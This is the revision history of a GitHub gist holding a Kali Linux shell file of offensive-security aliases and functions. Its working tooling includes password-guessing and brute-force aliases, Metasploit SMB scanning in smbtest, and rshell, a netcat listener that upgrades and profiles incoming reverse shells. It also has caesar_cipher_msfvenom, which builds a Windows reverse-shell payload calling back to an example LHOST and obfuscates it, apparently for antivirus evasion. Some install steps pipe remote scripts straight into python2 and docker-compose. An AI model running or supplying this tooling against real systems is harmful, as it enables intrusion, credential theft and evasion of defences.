Skip to content

Instantly share code, notes, and snippets.

@daniruiz
Last active June 27, 2025 10:18
Show Gist options
  • Select an option

  • Save daniruiz/c073f631d514bf38e516b62c48366efb to your computer and use it in GitHub Desktop.

Select an option

Save daniruiz/c073f631d514bf38e516b62c48366efb to your computer and use it in GitHub Desktop.

Revisions

  1. daniruiz revised this gist Jun 27, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -58,7 +58,7 @@ alias smbserver='impacket-smbserver share . -smb2support'

    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
    alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9050/ gobusterdir'


    # ==============================================================================
  2. daniruiz revised this gist Jun 27, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y kali-linux-default bloodhound bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sharphound sshpass
    # $ sudo apt install -y kali-linux-default bloodhound bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists sharphound shellter sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
  3. daniruiz revised this gist Jun 27, 2025. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -137,6 +137,7 @@ smbtest() {
    run; \
    vulns ${target}; \
    exit"
    impacket-lookupsid "anonymous@${target}" -no-pass
    }

    # ==============================================================================
  4. daniruiz revised this gist May 14, 2025. 1 changed file with 0 additions and 13 deletions.
    13 changes: 0 additions & 13 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -61,19 +61,6 @@ alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'


    # ==============================================================================
    ## bloodhound-ce automatizes the installation of bloodhound-ce, runs it and highlights the default password for new installations
    # -------------
    ## Usage:
    # $ bloodhound-ce
    bloodhound-ce() {
    command -v docker-compose > /dev/null || { sudo apt update && sudo apt -y install docker-compose }
    curl -L https://ghst.ly/getbhce | sudo docker-compose -f - up | grep -E --color=always '#.+#|^' &
    until curl http://127.0.0.1:8080 &>/dev/null; do printf ...; sleep 1; done
    xdg-open http://127.0.0.1:8080
    }


    # ==============================================================================
    ## wordlists lists useful wordlists and resources
    # ---------
  5. daniruiz revised this gist Apr 26, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sharphound sshpass
    # $ sudo apt install -y kali-linux-default bloodhound bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sharphound sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
  6. daniruiz revised this gist Apr 26, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sshpass
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sharphound sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
  7. daniruiz revised this gist Apr 20, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sshpass
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc iputils-ping mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
  8. daniruiz revised this gist Apr 20, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y bloodhound-ce-python chisel dirsearch enum4linux-ng feroxbuster goshs gobuster grc mssqlpwner nishang peass powercat rlwrap seclists shellter sshpass
    # $ sudo apt install -y kali-linux-default bloodhound-ce-python chisel chisel-common-binaries dirsearch enum4linux-ng feroxbuster goshs grc mssqlpwner nishang peass powercat rlwrap rubeus seclists shellter sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
  9. daniruiz revised this gist Apr 12, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,7 @@
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
    # $ sudo apt install mono-csharp-shell
    # $ sudo apt install mono-csharp-shell mono-mcs
    # Install flatpak
    # -> https://www.kali.org/docs/tools/flatpak/
    # Python2 pip
  10. daniruiz revised this gist Apr 2, 2025. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y bloodhound-ce-python chisel dirsearch enum4linux-ng feroxbuster gobuster grc mssqlpwner nishang peass powercat raven rlwrap seclists shellter sshpass
    # $ sudo apt install -y bloodhound-ce-python chisel dirsearch enum4linux-ng feroxbuster goshs gobuster grc mssqlpwner nishang peass powercat rlwrap seclists shellter sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
    @@ -53,7 +53,7 @@ alias wfuzz='wfuzz -c'
    alias whatweb='whatweb -a 3'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt --url'

    alias webserver='raven 0.0.0.0 80'
    alias webserver='goshs -p 80'
    alias smbserver='impacket-smbserver share . -smb2support'

    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
  11. daniruiz revised this gist Mar 18, 2025. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -53,7 +53,7 @@ alias wfuzz='wfuzz -c'
    alias whatweb='whatweb -a 3'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt --url'

    alias webserver='python -m http.server 80'
    alias webserver='raven 0.0.0.0 80'
    alias smbserver='impacket-smbserver share . -smb2support'

    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
  12. daniruiz revised this gist Mar 16, 2025. 1 changed file with 29 additions and 28 deletions.
    57 changes: 29 additions & 28 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -164,35 +164,36 @@ rshell() {
    read rows cols < <(stty size)
    stty raw -echo

    # Used ': ; ' to differentiate actual code from injected code (does nothing)
    cat <(cat << 'EOF'
    export TERM=xterm-256color
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    # Upgrade shell to a proper PTY
    for PYTHON in $(which python python2 python3); do : ; done
    if [ -x "$PYTHON" ]; then
    [ -x /bin/bash ] && exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/sh",))'
    elif command -v script >/dev/null 2>&1; then
    exec script -q -c /bin/bash /dev/null
    fi
    # Set terminal size dynamically
    stty rows $rows cols $cols
    # Display system information after connection
    clear; \
    { \
    . /etc/os-release; \
    printf "\033[1;32m\==========( \033[1;31m$(whoami)@$(hostname) \033[1;32m)===========/\n"; \
    printf "\033[1;32m| \033[1;34mOS\033[0m :: %s\n" "${PRETTY_NAME:-Unknown OS}"; \
    printf "\033[1;32m| \033[1;34mKernel\033[0m :: %s\n" "$(uname -r -s -m)"; \
    printf "\033[1;32m| \033[1;34mGroups\033[0m :: %s\n" "$(groups)"; \
    printf "\033[1;32m\\____________________________________________________________\n\033[0m"; \
    echo; \
    ip --color=auto address || ifconfig; \
    echo; \
    } 2>/dev/null
    : ; export TERM=xterm-256color
    : ; export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    : ;
    : ; # Upgrade shell to a proper PTY
    : ; for PYTHON in $(which python python2 python3); do : ; done
    : ; if [ -x "$PYTHON" ]; then
    : ; [ -x /bin/bash ] && exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    : ; exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/sh",))'
    : ; elif command -v script >/dev/null 2>&1; then
    : ; exec script -q -c /bin/bash /dev/null
    : ; fi
    : ;
    : ; # Set terminal size dynamically
    : ; stty rows $rows cols $cols
    : ;
    : ; # Display system information after connection
    : ; clear; \
    : ; { \
    : ; . /etc/os-release; \
    : ; printf "\033[1;32m\==========( \033[1;31m$(whoami)@$(hostname) \033[1;32m)===========/\n"; \
    : ; printf "\033[1;32m| \033[1;34mOS\033[0m :: %s\n" "${PRETTY_NAME:-Unknown OS}"; \
    : ; printf "\033[1;32m| \033[1;34mKernel\033[0m :: %s\n" "$(uname -r -s -m)"; \
    : ; printf "\033[1;32m| \033[1;34mGroups\033[0m :: %s\n" "$(groups)"; \
    : ; printf "\033[1;32m\\____________________________________________________________\n\033[0m"; \
    : ; echo; \
    : ; ip --color=auto address || ifconfig; \
    : ; echo; \
    : ; } 2>/dev/null
    EOF
    ) - | nc "$@"

  13. daniruiz revised this gist Mar 16, 2025. 1 changed file with 27 additions and 19 deletions.
    46 changes: 27 additions & 19 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -159,36 +159,44 @@ smbtest() {
    # $ rshell <netcat_parameters...>
    # $ rshell -lp 443
    rshell() {
    local rows cols

    read rows cols < <(stty size)
    stty raw -echo
    cat <(cat << EOF

    cat <(cat << 'EOF'
    export TERM=xterm-256color
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    for PYTHON in \$(which python python2 python3); do : ; done
    if [ -x "\$PYTHON" ]; then
    [ -x /bin/bash ] && exec \$PYTHON -c 'import pty;pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    exec \$PYTHON -c 'import pty;pty.spawn(("/bin/sh"))'
    elif command -v script > /dev/null; then
    exec script -qc /bin/bash /dev/null
    # Upgrade shell to a proper PTY
    for PYTHON in $(which python python2 python3); do : ; done
    if [ -x "$PYTHON" ]; then
    [ -x /bin/bash ] && exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    exec "$PYTHON" -c 'import pty; pty.spawn(("/bin/sh",))'
    elif command -v script >/dev/null 2>&1; then
    exec script -q -c /bin/bash /dev/null
    fi
    # Set terminal size dynamically
    stty rows $rows cols $cols
    # User commands to execute right after connection
    # Display system information after connection
    clear; \
    { \
    . /etc/os-release; \
    printf "\\===========(\033[1;31m\$(whoami)@\$(hostname)\033[00m)===========/\n"; \
    printf "| \033[1;34mOS\033[00m :: \$PRETTY_NAME -- v\$VERSION_ID\n"; \
    printf "| \033[1;34mKernel\033[00m :: \$(uname -r -s -m)\n"; \
    printf "| \033[1;34mGroups\033[00m :: \$(groups)\n"; \
    printf "\____________________________________________________________\n"; \
    printf "\n"
    ip --color=auto address || ifconfig; \
    } 2>/dev/null ; \
    echo;
    . /etc/os-release; \
    printf "\033[1;32m\==========( \033[1;31m$(whoami)@$(hostname) \033[1;32m)===========/\n"; \
    printf "\033[1;32m| \033[1;34mOS\033[0m :: %s\n" "${PRETTY_NAME:-Unknown OS}"; \
    printf "\033[1;32m| \033[1;34mKernel\033[0m :: %s\n" "$(uname -r -s -m)"; \
    printf "\033[1;32m| \033[1;34mGroups\033[0m :: %s\n" "$(groups)"; \
    printf "\033[1;32m\\____________________________________________________________\n\033[0m"; \
    echo; \
    ip --color=auto address || ifconfig; \
    echo; \
    } 2>/dev/null
    EOF
    ) - | nc $@
    ) - | nc "$@"

    # Reset terminal settings after exit
    stty sane
    }

  14. daniruiz revised this gist Mar 15, 2025. 1 changed file with 3 additions and 1 deletion.
    4 changes: 3 additions & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,10 @@
    ##################################################
    # Extra tools
    # $ sudo apt install -y xclip grc gobuster rlwrap evil-winrm powercat seclists peass raven
    # $ sudo apt install -y bloodhound-ce-python chisel dirsearch enum4linux-ng feroxbuster gobuster grc mssqlpwner nishang peass powercat raven rlwrap seclists shellter sshpass
    # urlencode:
    # $ sudo apt install gridsite-clients
    # csharp:
    # $ sudo apt install mono-csharp-shell
    # Install flatpak
    # -> https://www.kali.org/docs/tools/flatpak/
    # Python2 pip
  15. daniruiz revised this gist Mar 11, 2025. 1 changed file with 14 additions and 4 deletions.
    18 changes: 14 additions & 4 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -7,10 +7,6 @@
    # -> https://www.kali.org/docs/tools/flatpak/
    # Python2 pip
    # $ sudo sh -c "curl https://bootstrap.pypa.io./pip/2.7/get-pip.py | python2"
    # Bloodhound-ce
    # $ sudo apt -y install docker-compose
    # $ curl -L https://ghst.ly/getbhce | docker-compose -f - up
    # $ xdg-open http://127.0.0.1:8080
    # Cool Hollywood screensaver ❤️
    # $ sudo apt install kali-screensaver

    @@ -62,6 +58,20 @@ alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
    alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'


    # ==============================================================================
    ## bloodhound-ce automatizes the installation of bloodhound-ce, runs it and highlights the default password for new installations
    # -------------
    ## Usage:
    # $ bloodhound-ce
    bloodhound-ce() {
    command -v docker-compose > /dev/null || { sudo apt update && sudo apt -y install docker-compose }
    curl -L https://ghst.ly/getbhce | sudo docker-compose -f - up | grep -E --color=always '#.+#|^' &
    until curl http://127.0.0.1:8080 &>/dev/null; do printf ...; sleep 1; done
    xdg-open http://127.0.0.1:8080
    }


    # ==============================================================================
    ## wordlists lists useful wordlists and resources
    # ---------
  16. daniruiz revised this gist Mar 11, 2025. 1 changed file with 3 additions and 4 deletions.
    7 changes: 3 additions & 4 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -8,10 +8,9 @@
    # Python2 pip
    # $ sudo sh -c "curl https://bootstrap.pypa.io./pip/2.7/get-pip.py | python2"
    # Bloodhound-ce
    # $ sudo apt -y install docker-compose
    # $ mkdir -p ~/Bloodhound && cd ~/Bloodhound
    # $ curl -L https://ghst.ly/getbhce > ./docker-compose.yml
    # $ docker-compose pull && docker-compose up
    # $ sudo apt -y install docker-compose
    # $ curl -L https://ghst.ly/getbhce | docker-compose -f - up
    # $ xdg-open http://127.0.0.1:8080
    # Cool Hollywood screensaver ❤️
    # $ sudo apt install kali-screensaver

  17. daniruiz revised this gist Mar 11, 2025. 1 changed file with 22 additions and 13 deletions.
    35 changes: 22 additions & 13 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,10 @@
    ##################################################
    # Packages
    # Extra tools
    # $ sudo apt install -y xclip grc gobuster rlwrap evil-winrm powercat seclists peass raven
    # Install flatpak
    # -> https://www.kali.org/docs/tools/flatpak/
    # urlencode:
    # $ sudo apt install gridsite-clients
    # Install flatpak
    # -> https://www.kali.org/docs/tools/flatpak/
    # Python2 pip
    # $ sudo sh -c "curl https://bootstrap.pypa.io./pip/2.7/get-pip.py | python2"
    # Bloodhound-ce
    @@ -63,6 +63,11 @@ alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
    alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'

    # ==============================================================================
    ## wordlists lists useful wordlists and resources
    # ---------
    ## Usage:
    # $ wordlists
    wordlists() {
    echo "${green}${bold}"
    figlet Wordlists
    @@ -83,12 +88,11 @@ wordlists() {
    command wordlists
    }

    # Running nmap as an unprivileged user
    # https://secwiki.org/w/Running_nmap_as_an_unprivileged_user
    # $ sudo chgrp adm /usr/bin/nmap
    # $ sudo chmod 750 /usr/bin/nmap
    # $ sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
    export NMAP_PRIVILEGED=""
    # ==============================================================================
    ## nmapfast runs a quick scan for the specified target, with colors!
    # --------
    ## Usage:
    # $ nmapfast <target>
    nmapfast() {
    nmap_output=$(mktemp)
    command nmap -n -sS -Pn -T4 --min-rate 1000 -p- -v $1 -oN $nmap_output \
    @@ -112,8 +116,9 @@ nmapfast() {
    command nmap -n -Pn -sU --top-ports 100 -v $1 | sed -u 's|[0-9]\+/udp|\x1b\[1;34m\0\x1b\[0m|'
    }

    ## smbtest runs all the possible tests to check if a target machine is running
    ## an SMB server
    # ==============================================================================
    ## smbtest runs all the possible tests to check if a target machine is running an SMB server
    # -------
    ## Usage:
    # $ smbtest <target>
    smbtest() {
    @@ -136,8 +141,9 @@ smbtest() {
    exit"
    }

    ## rshell is a netcat wrapper for linux/unix reverse shell connections that
    ## handles all the necesary bits to have an interactive shell.
    # ==============================================================================
    ## rshell is a netcat wrapper for linux/unix reverse shell connections that handles all the necesary bits to have an interactive shell.
    # ------
    ## Usage:
    # $ rshell <netcat_parameters...>
    # $ rshell -lp 443
    @@ -176,6 +182,9 @@ EOF
    }


    # ==============================================================================
    ## ccaesar_cipher_msfvenom is a wrapper for msfvenom that encrypts the output payload using the caesar cipher
    # ----------------------
    ## Usage:
    # $ caesar_cipher_msfvenom <key> <msfvenom_parameters . . .>
    # $ caesar_cipher_msfvenom 4 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=443
  18. daniruiz revised this gist Mar 11, 2025. 1 changed file with 5 additions and 0 deletions.
    5 changes: 5 additions & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -7,6 +7,11 @@
    # $ sudo apt install gridsite-clients
    # Python2 pip
    # $ sudo sh -c "curl https://bootstrap.pypa.io./pip/2.7/get-pip.py | python2"
    # Bloodhound-ce
    # $ sudo apt -y install docker-compose
    # $ mkdir -p ~/Bloodhound && cd ~/Bloodhound
    # $ curl -L https://ghst.ly/getbhce > ./docker-compose.yml
    # $ docker-compose pull && docker-compose up
    # Cool Hollywood screensaver ❤️
    # $ sudo apt install kali-screensaver

  19. daniruiz revised this gist Mar 11, 2025. 1 changed file with 0 additions and 4 deletions.
    4 changes: 0 additions & 4 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -32,10 +32,6 @@ alias update='sudo sh -c "
    apt update
    apt -y --fix-broken --fix-missing full-upgrade
    apt -y autoremove --purge
    # Change nmap permissions and file capabilities in case it got overwritten
    chgrp adm /usr/bin/nmap
    chmod 750 /usr/bin/nmap
    setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
    "
    echo
    echo Flatpak:
  20. daniruiz revised this gist Nov 2, 2024. 1 changed file with 9 additions and 0 deletions.
    9 changes: 9 additions & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -111,6 +111,10 @@ nmapfast() {
    command nmap -n -Pn -sU --top-ports 100 -v $1 | sed -u 's|[0-9]\+/udp|\x1b\[1;34m\0\x1b\[0m|'
    }

    ## smbtest runs all the possible tests to check if a target machine is running
    ## an SMB server
    ## Usage:
    # $ smbtest <target>
    smbtest() {
    target=$1
    smbmap_output="$(smbmap -H $target -u %)"
    @@ -131,6 +135,11 @@ smbtest() {
    exit"
    }

    ## rshell is a netcat wrapper for linux/unix reverse shell connections that
    ## handles all the necesary bits to have an interactive shell.
    ## Usage:
    # $ rshell <netcat_parameters...>
    # $ rshell -lp 443
    rshell() {
    read rows cols < <(stty size)
    stty raw -echo
  21. daniruiz revised this gist Nov 2, 2024. 1 changed file with 28 additions and 0 deletions.
    28 changes: 28 additions & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -165,3 +165,31 @@ EOF
    stty sane
    }


    ## Usage:
    # $ caesar_cipher_msfvenom <key> <msfvenom_parameters . . .>
    # $ caesar_cipher_msfvenom 4 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=443
    caesar_cipher_msfvenom() {
    KEY=$1
    shift
    payload="$(msfvenom "$@" -f csharp -v buf)"

    echo
    echo

    csharp << EOF
    using System.Text;
    ${payload}
    for (int i = 0; i < buf.Length; i++)
    buf[i] = (byte)(((uint)buf[i] + ${KEY}) & 0xFF);
    StringBuilder hex = new StringBuilder(buf.Length * 2);
    foreach (byte b in buf)
    hex.AppendFormat("0x{0:x2}, ", b);
    Console.WriteLine("byte[] buf = new byte[] { " + hex.ToString().Substring(0, hex.Length - 2) + " };");
    EOF
    }

  22. daniruiz revised this gist Oct 28, 2024. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -44,6 +44,7 @@ flatpak update && flatpak remove --unused

    alias rdesktop='rdesktop -k es'
    alias ssh='ssh -o "StrictHostKeyChecking no"'
    alias sshpass='_sshpass(){ sshpass "$@" -o "StrictHostKeyChecking no" }; _sshpass'

    alias gobusterdir='gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_words.txt -k -u "$@"'
    alias john='john -w=/usr/share/wordlists/rockyou.txt'
  23. daniruiz revised this gist Oct 28, 2024. 1 changed file with 10 additions and 7 deletions.
    17 changes: 10 additions & 7 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -42,21 +42,24 @@ echo Flatpak:
    flatpak update && flatpak remove --unused
    '

    alias nmap='sudo grc nmap'
    alias john='john -w=/usr/share/wordlists/rockyou.txt'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt --url'
    alias wfuzz='wfuzz -c'
    alias rdesktop='rdesktop -k es'
    alias ssh='ssh -o "StrictHostKeyChecking no"'

    alias gobusterdir='gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_words.txt -k -u "$@"'
    alias wapiti='wapiti --color --url'
    alias john='john -w=/usr/share/wordlists/rockyou.txt'
    alias nikto='nikto -host'
    alias nmap='sudo grc nmap'
    alias wapiti='wapiti --color --url'
    alias wfuzz='wfuzz -c'
    alias whatweb='whatweb -a 3'
    alias rdesktop='rdesktop -k es'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt --url'

    alias webserver='python -m http.server 80'
    alias smbserver='impacket-smbserver share . -smb2support'

    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
    alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'
    alias ssh='ssh -o "StrictHostKeyChecking no"'

    wordlists() {
    echo "${green}${bold}"
  24. daniruiz revised this gist Oct 28, 2024. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -56,6 +56,7 @@ alias smbserver='impacket-smbserver share . -smb2support'
    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
    alias proxy_hydra='sudo proxychains -q hydra'
    alias proxy_gobusterdir='HTTP_PROXY=socks5://127.0.0.1:9090/ gobusterdir'
    alias ssh='ssh -o "StrictHostKeyChecking no"'

    wordlists() {
    echo "${green}${bold}"
  25. daniruiz revised this gist Oct 21, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ##################################################
    # Packages
    # $ sudo apt install -y xclip grc gobuster rlwrap evil-winrm powercat seclists peass
    # $ sudo apt install -y xclip grc gobuster rlwrap evil-winrm powercat seclists peass raven
    # Install flatpak
    # -> https://www.kali.org/docs/tools/flatpak/
    # urlencode:
  26. daniruiz revised this gist Oct 20, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -65,7 +65,7 @@ wordlists() {
    du -h /usr/share/seclists/Discovery/Web-Content/combined_words.txt \
    /usr/share/seclists/Discovery/Web-Content/combined_directories.txt \
    | sed 's/^/ /'
    echo " [i] Useful file extensions: php,asp,aspx,jsp,ini,config,cfg,xml,htm,html,json,bak,txt"
    echo " [i] Useful file extensions: php,asp,aspx,cgi,jsp,ini,config,cfg,xml,htm,html,json,bak,txt,zip"
    echo ""
    echo "${bold}Online credentials:${reset}"
    echo " > /usr/share/seclists/Passwords/probable-v2-top1575.txt"
  27. daniruiz revised this gist Oct 20, 2024. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -50,6 +50,7 @@ alias gobusterdir='gobuster dir -w /usr/share/seclists/Discovery/Web-Content/com
    alias wapiti='wapiti --color --url'
    alias nikto='nikto -host'
    alias whatweb='whatweb -a 3'
    alias rdesktop='rdesktop -k es'
    alias webserver='python -m http.server 80'
    alias smbserver='impacket-smbserver share . -smb2support'
    alias proxy_nmap='sudo proxychains -q grc nmap -v -n -Pn -sT'
  28. daniruiz revised this gist Oct 20, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -44,7 +44,7 @@ flatpak update && flatpak remove --unused

    alias nmap='sudo grc nmap'
    alias john='john -w=/usr/share/wordlists/rockyou.txt'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt'
    alias wpscan='wpscan --rua -e ap,at,tt,cb,dbe,u,m --passwords /usr/share/wordlists/seclists/Passwords/probable-v2-top1575.txt --url'
    alias wfuzz='wfuzz -c'
    alias gobusterdir='gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_words.txt -k -u "$@"'
    alias wapiti='wapiti --color --url'
  29. daniruiz revised this gist May 28, 2023. 1 changed file with 2 additions and 3 deletions.
    5 changes: 2 additions & 3 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -144,10 +144,9 @@ stty rows $rows cols $cols
    # User commands to execute right after connection
    clear; \
    { \
    cat /etc/issue; \
    printf "\n"; \
    . /etc/os-release; \
    printf "\\===========(\033[1;31m\$(whoami)@\$(hostname)\033[00m)===========/\n"; \
    printf "|\n"; \
    printf "| \033[1;34mOS\033[00m :: \$PRETTY_NAME -- v\$VERSION_ID\n"; \
    printf "| \033[1;34mKernel\033[00m :: \$(uname -r -s -m)\n"; \
    printf "| \033[1;34mGroups\033[00m :: \$(groups)\n"; \
    printf "\____________________________________________________________\n"; \
  30. daniruiz revised this gist May 18, 2023. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions kali-shell-aliases-and-functions.sh
    Original file line number Diff line number Diff line change
    @@ -133,8 +133,9 @@ export TERM=xterm-256color
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    for PYTHON in \$(which python python2 python3); do : ; done
    if [ -x "$PYTHON" ]; then
    exec \$PYTHON -c 'import pty;pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    if [ -x "\$PYTHON" ]; then
    [ -x /bin/bash ] && exec \$PYTHON -c 'import pty;pty.spawn(("/bin/bash", "--rcfile", "/etc/skel/.bashrc", "-p"))'
    exec \$PYTHON -c 'import pty;pty.spawn(("/bin/sh"))'
